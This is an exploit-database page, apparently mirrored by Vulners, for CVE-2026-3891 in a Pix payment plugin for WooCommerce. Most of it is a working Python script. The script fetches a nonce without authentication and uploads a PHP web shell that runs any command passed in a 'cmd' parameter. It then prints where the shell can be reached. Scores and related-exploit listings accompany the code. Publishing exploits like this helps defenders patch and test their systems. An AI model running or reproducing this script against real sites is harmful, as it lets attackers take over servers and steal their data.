WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload
🗓️ 17 Aug 2026 00:00:00Reported by Mohammad Hossein SadeghianType
exploitdb🔗 www.exploit-db.com👁 11 Views
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Exploit for CVE-2026-3891 | 31 May 202609:45 | – | githubexploit | |
| Mephisto | 21 May 202605:06 | – | githubexploit | |
| Exploit for CVE-2026-3891 | 15 Jul 202619:24 | – | githubexploit | |
| Exploit for CVE-2026-3891 | 26 Mar 202611:16 | – | githubexploit | |
| Exploit for CVE-2026-3891 | 13 Mar 202620:33 | – | githubexploit | |
| Exploit for CVE-2026-3891 | 15 Jul 202619:06 | – | githubexploit | |
| Exploit for CVE-2026-3891 | 3 Aug 202616:01 | – | githubexploit | |
| Exploit for CVE-2026-3891 | 19 Jul 202614:10 | – | githubexploit | |
| Exploit for CVE-2026-3891 | 27 Mar 202606:00 | – | githubexploit | |
| CVE-2026-3891 | 13 Mar 202607:23 | – | attackerkb |
10
# Exploit Title: WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2026-07-15
# Exploit Author: Mohammad Hossein Sadeghian
# Vendor Homepage: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/
# Software Link: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/
# Version: <= 1.5.0
# Tested on: Ubuntu 22.04 LTS, Apache 2.4, PHP 8.2, WordPress 6.7
# CVE: CVE-2026-3891
import requests
import sys
def print_banner():
banner = r"""
____ __ _ __ __
/ __ \________ ____ _____/ / / | / /__ / /_
/ / / / ___/ _ \/ __ \/ __ / / |/ / _ \/ __/
/ /_/ / / / __/ /_/ / /_/ / / /| / __/ /_
/_____/_/ \___/\__,_/\__,_/ /_/ |_/\___/\__/
Author: m4sh_wacker
"""
print(banner)
def main():
print_banner()
target = input("[?] Enter target URL: ").strip().rstrip("/")
if not target.startswith(("http://", "https://")):
target = "http://" + target
ajax_url = f"{target}/wp-admin/admin-ajax.php"
filename = "woocommerce.php"
content = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>'
session = requests.Session()
print("\n[*] Requesting nonce...")
try:
response = session.post(
ajax_url,
data={
"action": "lkn_pix_for_woocommerce_generate_nonce",
"action_name": "lkn_pix_for_woocommerce_c6_settings_nonce"
},
timeout=10
)
result = response.json()
nonce = result["data"]["nonce"]
print(f"[+] Nonce obtained: {nonce}")
except Exception as e:
print(f"[-] Failed to obtain nonce: {e}")
sys.exit(1)
print(f"[*] Uploading {filename}...")
try:
response = session.post(
ajax_url,
data={
"action": "lkn_pix_for_woocommerce_c6_save_settings",
"_ajax_nonce": nonce
},
files={
"certificate_crt_path": (
filename,
content,
"text/plain"
)
},
timeout=10
)
result = response.json()
if not result.get("success"):
print("[-] Upload failed.")
print(response.text)
sys.exit(1)
except Exception as e:
print(f"[-] Upload error: {e}")
sys.exit(1)
uploaded_url = (
f"{target}/wp-content/plugins/"
f"payment-gateway-pix-for-woocommerce/"
f"Includes/files/certs_c6/{filename}"
)
print("\n[+] File uploaded successfully!")
print(f"[+] URL: {uploaded_url}")
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.19.8
EPSS0.2506
SSVC